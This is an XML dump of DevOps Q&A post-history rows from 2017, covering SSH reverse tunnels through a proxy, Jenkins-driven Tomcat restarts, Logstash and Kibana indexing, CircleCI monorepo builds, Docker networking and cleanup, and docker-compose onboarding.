  <row Id="7981" PostHistoryTypeId="2" PostId="2553" RevisionGUID="e777616d-ce8b-4f0c-b690-1d46454bf0ae" CreationDate="2017-11-14T21:56:46.367" UserId="4954" Text="So I am assuming that&#xD;&#xA;&#xD;&#xA;1) you have a PC on your LAN.  The PC can only talk to port 80 outgoing via a proxy&#xD;&#xA;&#xD;&#xA;2) you have a bamboo server running a cloud service&#xD;&#xA;&#xD;&#xA;3) you wish to initiate a connection from the bamboo server to the PC&#xD;&#xA;&#xD;&#xA;Don't get your hopes up but this answer https://stackoverflow.com/questions/19161960/connect-with-ssh-through-a-proxy&#xD;&#xA;&#xD;&#xA;explains how to use a http proxy to tunnel ssh.  Unfortunately most http proxies disallow the CONNECT method&#xD;&#xA;&#xD;&#xA;Once you have the ssh to the remote cloud service set up then try it again &#xD;&#xA;with a -R option to allow a reverse tunnel&#xD;&#xA;&#xD;&#xA;Then you should be able to connect via the reverse tunnel back to the Lan PC&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7982" PostHistoryTypeId="2" PostId="2554" RevisionGUID="64962eba-25fa-49a5-a2eb-bacb70c4c03a" CreationDate="2017-11-14T23:30:51.627" UserId="3920" Text="I like to stop Tomcat before redeployment, manually clean out the old wars and all the logs, then restart the server. To do that from `Jenkins`, I have been using the [`SSH plugin`][1] and call `sudo service tomcat stop/start` and it works... sometimes. Other times the stop works but it fails to restart but the job still erroneously succeeds.&#xD;&#xA;&#xD;&#xA;Is there an alternative to restarting Tomcat to SSH, especially when invoked from Jenkins. E.g. can I set up something like `xinetd` to make these admin functins somewhat of web services. Automating SSH connection from Jenkins is sort of a crapchute.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="7983" PostHistoryTypeId="1" PostId="2554" RevisionGUID="64962eba-25fa-49a5-a2eb-bacb70c4c03a" CreationDate="2017-11-14T23:30:51.627" UserId="3920" Text="Remote starting/stopping Tomcat from Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="7984" PostHistoryTypeId="3" PostId="2554" RevisionGUID="64962eba-25fa-49a5-a2eb-bacb70c4c03a" CreationDate="2017-11-14T23:30:51.627" UserId="3920" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7985" PostHistoryTypeId="2" PostId="2555" RevisionGUID="cd33700c-d876-49b3-8d59-838fb00c5180" CreationDate="2017-11-15T01:13:23.653" UserId="60" Text="Not sure this is completely on topic here, but here is what we do.&#xD;&#xA;&#xD;&#xA;We have a &quot;version&quot; file deployed with the application itself. Then, application issues a &quot;ping&quot; request periodically that checks if the version that the application has initially loaded is different from the version specified in this version file. If it is different, we show a notification that there is a new version available and suggest to refresh the browser window to get it. I think that's what Google Inbox, for example, does.&#xD;&#xA;&#xD;&#xA;There is also a different approach when the information about a new version of the app is *pushed from the server to the client*. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7986" PostHistoryTypeId="5" PostId="2555" RevisionGUID="cdae5c48-bd15-49df-aff3-0c1195827606" CreationDate="2017-11-15T01:19:11.130" UserId="60" Comment="added 9 characters in body" Text="Here is what works for us.&#xD;&#xA;&#xD;&#xA;We have a &quot;version&quot; file deployed with the application itself. Then, application issues a &quot;check version&quot; request periodically that checks if the version that the application has initially loaded is different from the version specified in this version file. If it is different, we show a notification that there is a new version available and suggest to refresh the browser window to get it. &#xD;&#xA;&#xD;&#xA;I think that's what Google Inbox, for example, does. They have this periodic `checkJsVersion` request and, if there is a newer version of the web app available, they show this information box on the bottom left with a &quot;New version is available, hit Refresh to get it&quot; button.&#xD;&#xA;&#xD;&#xA;There is also a different approach when the information about a new version of the app is *pushed from the server to the client*. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7987" PostHistoryTypeId="2" PostId="2556" RevisionGUID="645a6677-efec-4a9b-a89a-858de239e30e" CreationDate="2017-11-15T01:53:25.387" UserId="5066" Text="I have an &quot;ELK stack&quot; configuration and, at first, was doing the standard 'filebeat' syslog feeding from logstash with the elasticsearch output plugin. It worked just fine.&#xD;&#xA;&#xD;&#xA;Now I have added a TCP input port (with assigned &quot;type&quot; for this data so as to do if [type] == &quot;thistype&quot; to differentiate in filters), its own grok filter, and output to both elasticsearch with its own unique index name and document_type name and file. When the data comes in over the TCP port it writes the properly formatted data to the output file as expected in the file output plugin but no data is showing up in Kibana when I choose the given index. Kibana recognizes the index from my output configuration and also lists all the fields/keys I assign in the grok filter; however, again, no data is searchable. But it sees the property names (and even adds the propertyName.&quot;keyword&quot; property itself on them!) The data is definitely being grok'd properly as it is, as I mentioned, appearing in the file plugin output.&#xD;&#xA;&#xD;&#xA;What am I doing wrong here? My configuration is as follows:&#xD;&#xA;&#xD;&#xA;    input {&#xD;&#xA;      tcp {&#xD;&#xA;        host =&gt; &quot;10.1.1.10&quot;&#xD;&#xA;        port =&gt; 12345&#xD;&#xA;        type =&gt; &quot;odata&quot;&#xD;&#xA;        id =&gt; &quot;odata&quot;&#xD;&#xA;        codec =&gt; line&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    filter {&#xD;&#xA;      if [type] == &quot;odata&quot; {&#xD;&#xA;        grok {&#xD;&#xA;          match =&gt; { &quot;message&quot; =&gt; &quot;%{QUOTEDSTRING:oid},\&quot;%{WORD:oword1}\&quot;,\&quot;%{IPV4:oclientip}\&quot;,\&quot;%{DATA:otimestamp}\&quot;,%{QUOTEDSTRING:opl},%{QUOTEDSTRING:oos},%{QUOTEDSTRING:oua}&quot; }&#xD;&#xA;          remove_field =&gt; &quot;message&quot;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        date {&#xD;&#xA;          match =&gt; [&quot;otimestamp&quot;, &quot;YYYY-MM-dd HH:mm:ss Z&quot;]&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        mutate {&#xD;&#xA;          remove_field =&gt; &quot;otimestamp&quot;&#xD;&#xA;          remove_field =&gt; &quot;host&quot;&#xD;&#xA;          remove_field =&gt; &quot;@version&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    output {&#xD;&#xA;    # the if .. is here because there are other types that are handled in this output since I centralize the input, filter, and output files to three distinct files.&#xD;&#xA;      if [type] == &quot;odata&quot; {&#xD;&#xA;        elasticsearch {&#xD;&#xA;          hosts =&gt; [&quot;10.1.1.1:9200&quot;, &quot;10.1.1.2:9200&quot;]&#xD;&#xA;          sniffing =&gt; false&#xD;&#xA;          index =&gt; &quot;odataindex&quot;&#xD;&#xA;          document_type =&gt; &quot;odatatype&quot;&#xD;&#xA;        }&#xD;&#xA;        file {&#xD;&#xA;          path =&gt; &quot;/tmp/odata_output&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Again, the grok filter is fine; the data is ingested via tcp just fine; and the file output plugin outputs the interpreted/grokd fields fine. Kibana sees the &quot;odataindex&quot; index and the fields (such as oid, oclientip, oua, etc.) from the grok filter. It just doesn't return any data when I do a search.&#xD;&#xA;&#xD;&#xA;Any ideas? I am new to elastic/kibana/logstash and would also appreciate any tips on debugging these things.&#xD;&#xA;&#xD;&#xA;Thank you in advance!" ContentLicense="CC BY-SA 3.0" />
  <row Id="7988" PostHistoryTypeId="1" PostId="2556" RevisionGUID="645a6677-efec-4a9b-a89a-858de239e30e" CreationDate="2017-11-15T01:53:25.387" UserId="5066" Text="Data sent from Logstash via elastic output plugin not showing in Kibana, but file output plugin works fine - what am I doing wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7989" PostHistoryTypeId="3" PostId="2556" RevisionGUID="645a6677-efec-4a9b-a89a-858de239e30e" CreationDate="2017-11-15T01:53:25.387" UserId="5066" Text="&lt;elastic&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7990" PostHistoryTypeId="2" PostId="2557" RevisionGUID="0f5fc63f-a7ff-4c94-ae17-dbb8db89bb36" CreationDate="2017-11-15T11:02:36.503" UserId="707" Text="By current state of the art, we [cannot][1] enforce an ordered start sequence of service containers directly, neither in Docker Swarm nor in Kubernetes. (Maybe there is a standard solution for that via a specialized orchestraton service)&#xD;&#xA;&#xD;&#xA;Now, imagine we want to have a Solr instance with considerable amount of data, and want to get it ready before other services can start their work.&#xD;&#xA;&#xD;&#xA;What is the best way to verify this status?&#xD;&#xA;&#xD;&#xA;It seems for example that calling and validating the expected list of loaded collections is not enough:&#xD;&#xA;&#xD;&#xA;    /solr/admin/collections?action=LIST&#xD;&#xA;&#xD;&#xA;Other ideas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2016/defined-start-sequence-of-containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="7991" PostHistoryTypeId="1" PostId="2557" RevisionGUID="0f5fc63f-a7ff-4c94-ae17-dbb8db89bb36" CreationDate="2017-11-15T11:02:36.503" UserId="707" Text="Waiting for Solr to load" ContentLicense="CC BY-SA 3.0" />
  <row Id="7992" PostHistoryTypeId="3" PostId="2557" RevisionGUID="0f5fc63f-a7ff-4c94-ae17-dbb8db89bb36" CreationDate="2017-11-15T11:02:36.503" UserId="707" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7993" PostHistoryTypeId="2" PostId="2558" RevisionGUID="836b351b-dbcf-49c9-8162-21e3c2953e55" CreationDate="2017-11-15T14:15:29.083" UserId="5189" Text="I'm working on a monorepo project that contains a few different subprojects in different languages. Right now I run three different CircleCI &quot;jobs&quot; on each commit. However, each of these packages compile and test themselves independently. Hence I don't actually have to spend time on running all three jobs every time. &#xD;&#xA;&#xD;&#xA;Is there some way to condition a CircleCI job on which directory you committed code to?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7994" PostHistoryTypeId="1" PostId="2558" RevisionGUID="836b351b-dbcf-49c9-8162-21e3c2953e55" CreationDate="2017-11-15T14:15:29.083" UserId="5189" Text="Condition CircleCI build on what part of monorepo changed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7995" PostHistoryTypeId="3" PostId="2558" RevisionGUID="836b351b-dbcf-49c9-8162-21e3c2953e55" CreationDate="2017-11-15T14:15:29.083" UserId="5189" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;build-pipeline&gt;&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7996" PostHistoryTypeId="5" PostId="2552" RevisionGUID="300c7964-d81b-4b73-a614-bd8a0ab46829" CreationDate="2017-11-15T14:26:21.830" UserId="4289" Comment="Improved formatting and grammar." Text="I have an `Angular / Web Api 2` site that uses `ui-router` for SPA behaviour and `gulp` for file transformations.  &#xD;&#xA;&#xD;&#xA;There is an issue where when I release the site, the user has to refresh their browser to view new content (usually). I have cache busting implemented on my `js / css` files, but it seems that the `HTML` views themselves are a problem.  At the same time I can't help feel like I'm missing something blatantly obvious here.  &#xD;&#xA;&#xD;&#xA;So... how do I get my tech stack to refresh the user's content (eg. when adding a new field to an existing form) so that the user receives the most up to date version of the site after release?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7997" PostHistoryTypeId="24" PostId="2552" RevisionGUID="300c7964-d81b-4b73-a614-bd8a0ab46829" CreationDate="2017-11-15T14:26:21.830" Comment="Proposed by 4289 approved by -1 edit id of 528" ContentLicense="CC BY-SA 3.0" />
  <row Id="7998" PostHistoryTypeId="5" PostId="2552" RevisionGUID="e05891e2-51f0-43ff-bd39-2e439f5054fb" CreationDate="2017-11-15T14:26:21.830" UserId="40" Comment="Improve title" Text="I have an `Angular / Web Api 2` site that uses `ui-router` for SPA behaviour and `gulp` for file transformations.  &#xD;&#xA;&#xD;&#xA;There is an issue where when I release the site, the user has to refresh their browser to view new content (usually). I have cache busting implemented on my `js / css` files, but it seems that the `HTML` views themselves are a problem.  At the same time I can't help feel like I'm missing something blatantly obvious here.  &#xD;&#xA;&#xD;&#xA;How do I get my tech stack to refresh the user's content (eg. when adding a new field to an existing form) so that the user receives the most up to date version of the site after release?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7999" PostHistoryTypeId="4" PostId="2552" RevisionGUID="e05891e2-51f0-43ff-bd39-2e439f5054fb" CreationDate="2017-11-15T14:26:21.830" UserId="40" Comment="Improve title" Text="How to refresh user's content of the site after release?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8000" PostHistoryTypeId="2" PostId="2559" RevisionGUID="d634e7c0-317a-4c1a-93ee-9671a6c9d670" CreationDate="2017-11-15T16:28:57.810" UserId="707" Text="There is an - as perceived - unsystematic behaviour of Docker client to setup a ipv6 connection to registry, even if this is disabled in daemon.json.&#xD;&#xA;&#xD;&#xA;Client error:&#xD;&#xA;&#xD;&#xA;    dial tcp: lookup ******** on [::1]:53: read udp [::1]:54563-&gt;&#xD;&#xA;    [::1]:53: read: connection refused" ContentLicense="CC BY-SA 3.0" />
  <row Id="8001" PostHistoryTypeId="1" PostId="2559" RevisionGUID="d634e7c0-317a-4c1a-93ee-9671a6c9d670" CreationDate="2017-11-15T16:28:57.810" UserId="707" Text="Weird behavior of the Docker Clinet on Windows 10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8002" PostHistoryTypeId="3" PostId="2559" RevisionGUID="d634e7c0-317a-4c1a-93ee-9671a6c9d670" CreationDate="2017-11-15T16:28:57.810" UserId="707" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8003" PostHistoryTypeId="5" PostId="2559" RevisionGUID="7b275f54-2db9-4497-8815-6f05d76a59ee" CreationDate="2017-11-15T16:45:42.823" UserId="707" Comment="added 214 characters in body" Text="There is an - as perceived - unsystematic behaviour of Docker client to setup a ipv6 connection to registry, even if this is disabled in daemon.json.&#xD;&#xA;&#xD;&#xA;Client error:&#xD;&#xA;&#xD;&#xA;    dial tcp: lookup ******** on [::1]:53: read udp [::1]:54563-&gt;&#xD;&#xA;    [::1]:53: read: connection refused&#xD;&#xA;&#xD;&#xA;Possible known workarounds:&#xD;&#xA;&#xD;&#xA; 1. Restart your computer (nice that this seems an ever-lastingWindows wisdom)&#xD;&#xA; 2. Set DNS to 8.8.8.8 [as stated here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/716" ContentLicense="CC BY-SA 3.0" />
  <row Id="8004" PostHistoryTypeId="6" PostId="2558" RevisionGUID="5f08d51b-e670-4e59-80e3-420bd624bb67" CreationDate="2017-11-15T16:58:51.917" UserId="47" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;build-pipeline&gt;&lt;circleci-2.0&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8005" PostHistoryTypeId="5" PostId="2559" RevisionGUID="771b219f-5786-406b-a418-651ce4268ad2" CreationDate="2017-11-15T17:16:16.670" UserId="47" Comment="fixed typo in title" Text="There is an - as perceived - unsystematic behaviour of Docker client to setup an IPv6 connection to registry, even if this is disabled in `daemon.json`.&#xD;&#xA;&#xD;&#xA;Client error:&#xD;&#xA;&#xD;&#xA;    dial tcp: lookup ******** on [::1]:53: read udp [::1]:54563-&gt;&#xD;&#xA;    [::1]:53: read: connection refused&#xD;&#xA;&#xD;&#xA;Possible known workarounds:&#xD;&#xA;&#xD;&#xA; 1. Restart your computer (nice that this seems an ever-lasting Windows wisdom)&#xD;&#xA; 2. Set DNS to 8.8.8.8 [as stated here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/716" ContentLicense="CC BY-SA 3.0" />
  <row Id="8006" PostHistoryTypeId="4" PostId="2559" RevisionGUID="771b219f-5786-406b-a418-651ce4268ad2" CreationDate="2017-11-15T17:16:16.670" UserId="47" Comment="fixed typo in title" Text="Weird behavior of the Docker Client on Windows 10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8007" PostHistoryTypeId="5" PostId="2559" RevisionGUID="64376c56-082f-4a11-b13b-ae75759fc935" CreationDate="2017-11-15T17:32:40.220" UserId="707" Comment="added 35 characters in body" Text="There is an - as perceived - unsystematic behaviour of Docker client to setup an IPv6 connection to registry, even if this is disabled in `daemon.json`.&#xD;&#xA;&#xD;&#xA;Client error:&#xD;&#xA;&#xD;&#xA;    dial tcp: lookup ******** on [::1]:53: read udp [::1]:54563-&gt;&#xD;&#xA;    [::1]:53: read: connection refused&#xD;&#xA;&#xD;&#xA;Possible known workarounds:&#xD;&#xA;&#xD;&#xA; 1. Restart your computer (nice that this seems an ever-lasting Windows wisdom)&#xD;&#xA; 2. Set DNS to 8.8.8.8 [as stated here][1]&#xD;&#xA;&#xD;&#xA;What could be actually happening?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/716" ContentLicense="CC BY-SA 3.0" />
  <row Id="8008" PostHistoryTypeId="2" PostId="2560" RevisionGUID="c222b867-c2ce-4668-9b7a-248498c98ce9" CreationDate="2017-11-15T17:42:44.437" UserId="4745" Text="We are using Github for source control and Jenkins for our builds.&#xD;&#xA;&#xD;&#xA;In Jenkins, we are using GitHub Organization Folder plugin along with Multibranch pipeline plugin. This causes the repository to show up in Jenkins, and each repository has a Jenkinsfile in it. And each PR(in github) has a status check, which checks if the build of the PR is good or not. &#xD;&#xA;&#xD;&#xA;Everything works fine, except for the fact that once a PR is opened or updated, the PR is not built in Jenkins automatically. You have to manually go to Jenkins and trigger the PR build. &#xD;&#xA;&#xD;&#xA;As far as master branch is concerned, it works like a charm. If the master branch is updated, Jenkins automatically triggers the build. &#xD;&#xA;&#xD;&#xA;I have attached the screen shot of the branch configuration in Jenkins for the GitHub Organization. &#xD;&#xA;So my question is what should be done for PR opening or updating, that would cause Jenkins to start build automatically. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/TuPN4.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/HnNWQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8009" PostHistoryTypeId="1" PostId="2560" RevisionGUID="c222b867-c2ce-4668-9b7a-248498c98ce9" CreationDate="2017-11-15T17:42:44.437" UserId="4745" Text="PRs not automatically getting trigger in Jenkins github organization" ContentLicense="CC BY-SA 3.0" />
  <row Id="8010" PostHistoryTypeId="3" PostId="2560" RevisionGUID="c222b867-c2ce-4668-9b7a-248498c98ce9" CreationDate="2017-11-15T17:42:44.437" UserId="4745" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8011" PostHistoryTypeId="5" PostId="2559" RevisionGUID="c8a6d9d6-2014-4861-b7ac-820c3f985cd4" CreationDate="2017-11-15T18:00:03.313" UserId="707" Comment="added 253 characters in body" Text="There is an - as perceived - unsystematic behaviour of Docker client to setup an IPv6 connection to registry, even if this is disabled in `daemon.json`.&#xD;&#xA;&#xD;&#xA;Client error:&#xD;&#xA;&#xD;&#xA;    dial tcp: lookup ******** on [::1]:53: read udp [::1]:PORT-&gt;&#xD;&#xA;    [::1]:53: read: connection refused&#xD;&#xA;&#xD;&#xA;Registry-side error (actually same - will recheck for port numbers however):&#xD;&#xA;or response from daemon: &#xD;&#xA;&#xD;&#xA;        Get https://******.**:8080/v2/: dial tcp: lookup ******.** &#xD;&#xA;    on [::1]:53: read udp [::1]:PORT-&gt;[::1]:53: read: connection refused&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Possible known workarounds:&#xD;&#xA;&#xD;&#xA; 1. Restart your computer (nice that this seems an ever-lasting Windows wisdom)&#xD;&#xA; 2. Set DNS to 8.8.8.8 [as stated here][1]&#xD;&#xA;&#xD;&#xA;What could be actually happening?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/716" ContentLicense="CC BY-SA 3.0" />
  <row Id="8012" PostHistoryTypeId="5" PostId="2500" RevisionGUID="cf3cedfa-7609-4963-bc1f-a12c4243bcfb" CreationDate="2017-11-15T21:05:20.550" UserId="60" Comment="Improved grammar, fixed a typo" Text="If you configured and joined correctly you should see two hosts: one for Linux and one for Windows.&#xD;&#xA;&#xD;&#xA;*Windows hosts cannot natively run inside the Linux hosts and vice-versa*. This means you have to have different kernels for Linux hosts and Windows hosts in the same swarm. This way they can communicate across the same Docker network.&#xD;&#xA;&#xD;&#xA;See [here][1] for more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://msdn.microsoft.com/en-us/virtualization/windowscontainers/docker/configure_docker_daemon" ContentLicense="CC BY-SA 3.0" />
  <row Id="8013" PostHistoryTypeId="24" PostId="2500" RevisionGUID="cf3cedfa-7609-4963-bc1f-a12c4243bcfb" CreationDate="2017-11-15T21:05:20.550" Comment="Proposed by 60 approved by -1 edit id of 529" ContentLicense="CC BY-SA 3.0" />
  <row Id="8014" PostHistoryTypeId="5" PostId="2500" RevisionGUID="bdd3e9aa-10b9-45f4-ba8c-42df7abe5594" CreationDate="2017-11-15T21:05:20.550" UserId="40" Comment="Improve link title" Text="If you configured and joined correctly you should see two hosts: one for Linux and one for Windows.&#xD;&#xA;&#xD;&#xA;*Windows hosts cannot natively run inside the Linux hosts and vice-versa*. This means you have to have different kernels for Linux hosts and Windows hosts in the same swarm. This way they can communicate across the same Docker network.&#xD;&#xA;&#xD;&#xA;Refer to [Docker Engine on Windows][1] for more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://msdn.microsoft.com/en-us/virtualization/windowscontainers/docker/configure_docker_daemon" ContentLicense="CC BY-SA 3.0" />
  <row Id="8015" PostHistoryTypeId="2" PostId="2561" RevisionGUID="97916ca4-1a84-46d7-a517-73dd05c8a509" CreationDate="2017-11-15T21:19:05.730" UserId="5189" Text="This discussion gives a pretty good suggestion on how to accomplish what I want.&#xD;&#xA;&#xD;&#xA;https://discuss.circleci.com/t/does-circleci-2-0-work-with-monorepos/10378/11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8016" PostHistoryTypeId="2" PostId="2562" RevisionGUID="6d672cd2-b702-4541-963c-873001a6d4f5" CreationDate="2017-11-16T00:44:17.140" UserId="5198" Text="On my local machine (mac) I have a little script I found that I run periodically which cleans all the excess images up [clean-docker-for-mac.sh][1]&#xD;&#xA;&#xD;&#xA;For my servers I run [meltwater/docker-cleanup][2] which periodically cleans up exited containers and removes images and volumes that aren't in use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I use a lot of different Docker images for my work on Codemason that scripts like these are necessity for me. Enjoy!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/MrTrustor/e690ba75cefe844086f5e7da909b35ce&#xD;&#xA;  [2]: https://hub.docker.com/r/meltwater/docker-cleanup/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8017" PostHistoryTypeId="50" PostId="1130" RevisionGUID="a304097f-a60b-4a89-ae56-716c30bc0204" CreationDate="2017-11-16T01:54:06.557" UserId="-1" />
  <row Id="8018" PostHistoryTypeId="2" PostId="2563" RevisionGUID="6f15829a-f557-4b23-be7e-ba618d544ccb" CreationDate="2017-11-16T04:00:00.843" UserId="5198" Text="The onboarding experience should be almost as simple as telling your new developer to just clone the repo and run `docker-compose up`. Personally I wouldn't bother worrying about IDE integration because people might prefer to use different IDEs.&#xD;&#xA;&#xD;&#xA;Every project/application (if you have multiple) should be able to run separately and each project/application should have it's own codebase. That's a concept from [The Twelve-Factor App][1] methodology.&#xD;&#xA;&#xD;&#xA;In the root of each project add a `Dockerfile` and a `docker-compose.yml` file. &#xD;&#xA;&#xD;&#xA;&gt; NOTE: I created [Craft Kits][2] which you can use to automatically generate these files for the framework/language you're using with one command (e.g. `mason craft nodejs`), you don't even need to know Docker.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `Dockerfile` will build your application into an image, installing and dependencies your application needs to run. This image is the image that runs your app.&#xD;&#xA;&#xD;&#xA;    FROM node:8.8-alpine&#xD;&#xA;    &#xD;&#xA;    # Set our workdir&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    # Install and cache app dependencies&#xD;&#xA;    COPY package.json /app&#xD;&#xA;    RUN npm install &#xD;&#xA;    &#xD;&#xA;    # Add project files&#xD;&#xA;    COPY . /app&#xD;&#xA;    &#xD;&#xA;    # start app&#xD;&#xA;    CMD [ &quot;npm&quot;, &quot;start&quot; ]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `docker-compose.yml` file will spin up your environment. It will define all the services Docker should start for your application&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        build: .&#xD;&#xA;        volumes:&#xD;&#xA;          - ./:/app&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;    &#xD;&#xA;      mongodb:&#xD;&#xA;        image: mongodb&#xD;&#xA;        volumes:&#xD;&#xA;          - ./storage/data/mongodb:/data/db&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;27017:27017&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When you onboard a new developer, you can just tell them to `git clone` your repo and to fire up their development environment by running:  &#xD;&#xA;&#xD;&#xA;    docker-compose up -d &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The advantage of this approach when you are developing locally, running `docker-compose up` will mount your code as a volume. &#xD;&#xA;&#xD;&#xA;Then when you want to deploy, when you build your `Dockerfile` it will copy your code into your image so everything is packaged up nicely and easily moved around.&#xD;&#xA;&#xD;&#xA;We use the same approach for apps on [Codemason][3], my service for building, managing and scaling container-based applications. When you push new code, we automatically build an image from your Dockerfile. Since that image contains everything your app needs to run, it can be easily launched on any server and scaled up/down across multiple servers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://12factor.net/codebase&#xD;&#xA;  [2]: https://codemason.io/docs/craft-kits&#xD;&#xA;  [3]: https://codemason.io&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8019" PostHistoryTypeId="2" PostId="2564" RevisionGUID="ca2ed3bc-43da-4c44-8700-4af1c1bfd30f" CreationDate="2017-11-16T05:17:42.957" UserId="5230" Text="I have multiple projects on Github and I need to release each project on same domain different paths when developer commit code changes.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;I have Github repositories like below&#xD;&#xA;&#xD;&#xA; - CRM &#xD;&#xA; - CMS&#xD;&#xA; - Main-Website&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;currently, our website is like this&#xD;&#xA;&#xD;&#xA; - example.com/CRM&#xD;&#xA; - example.com/CMS&#xD;&#xA; - example.com --&gt; is the Main-Website repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please someone tell me how to do this in AWS using there services. Currently im doing this manually login to server and git pull&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8020" PostHistoryTypeId="1" PostId="2564" RevisionGUID="ca2ed3bc-43da-4c44-8700-4af1c1bfd30f" CreationDate="2017-11-16T05:17:42.957" UserId="5230" Text="How do I release multiple projects to same domain using AWS when developer commit the latest code change" ContentLicense="CC BY-SA 3.0" />
  <row Id="8021" PostHistoryTypeId="3" PostId="2564" RevisionGUID="ca2ed3bc-43da-4c44-8700-4af1c1bfd30f" CreationDate="2017-11-16T05:17:42.957" UserId="5230" Text="&lt;amazon-web-services&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8022" PostHistoryTypeId="2" PostId="2565" RevisionGUID="4706659e-907d-4902-8aed-e0b1e5a7ce8a" CreationDate="2017-11-16T07:01:58.933" UserId="707" Text="To clarify the terms first,  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Infrastructure as Code (IaC) can be delivered with upcoming technologies like Docker Swarm, Kubernetes, OpenShift, OpenStack and possiby some others run on bare metal. - You can code the infrastructure.&#xD;&#xA;&#xD;&#xA;- Software defined data center (SDDC) are typically enterprise and mostly more traditional solutions from IBM, VMWare, recently also Nutanix any many others. -You can define the infrastructure through some sort of UI. &#xD;&#xA;&#xD;&#xA;Correct me if I am wrong.&#xD;&#xA;&#xD;&#xA;Then, typically, my assumption/observation larger companies (much larger than a s startup, much smaller than Google) would provision you with some SDDC resources and there you can play with IaC.&#xD;&#xA;&#xD;&#xA;In such a case which I consider yet not very rare, does this setup actually make sense if you want high performance?&#xD;&#xA;&#xD;&#xA;An SDDC solution would have some sort of scheduler, and your IaC CPUs are virtual CPUs on real CPUs, so in most pessimistic scenarios your Spark shares resources with say corporate mail server or some backup solution. And there can be priorities set between them, so the sharing is not equal. And collision cases described below from random towards a notorious DOS (Denial of Service) bias.&#xD;&#xA;&#xD;&#xA;Collision case 1. Then your Docker Swarm, or Kubernetes scheduler would &quot;see&quot; a machine and say, well, the load there was not so much, so I take it - and then it finds what if was not expecting because the SDDC system scheduler has decided to take it already for something else.&#xD;&#xA;&#xD;&#xA;Collision case 2. Just in the moment the IaC scheduer decides to compute something, the SDDC scheduler decides to unschedule it, so what would happen is kind of paralyzing spikes setting IaC to a slow motion mode.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
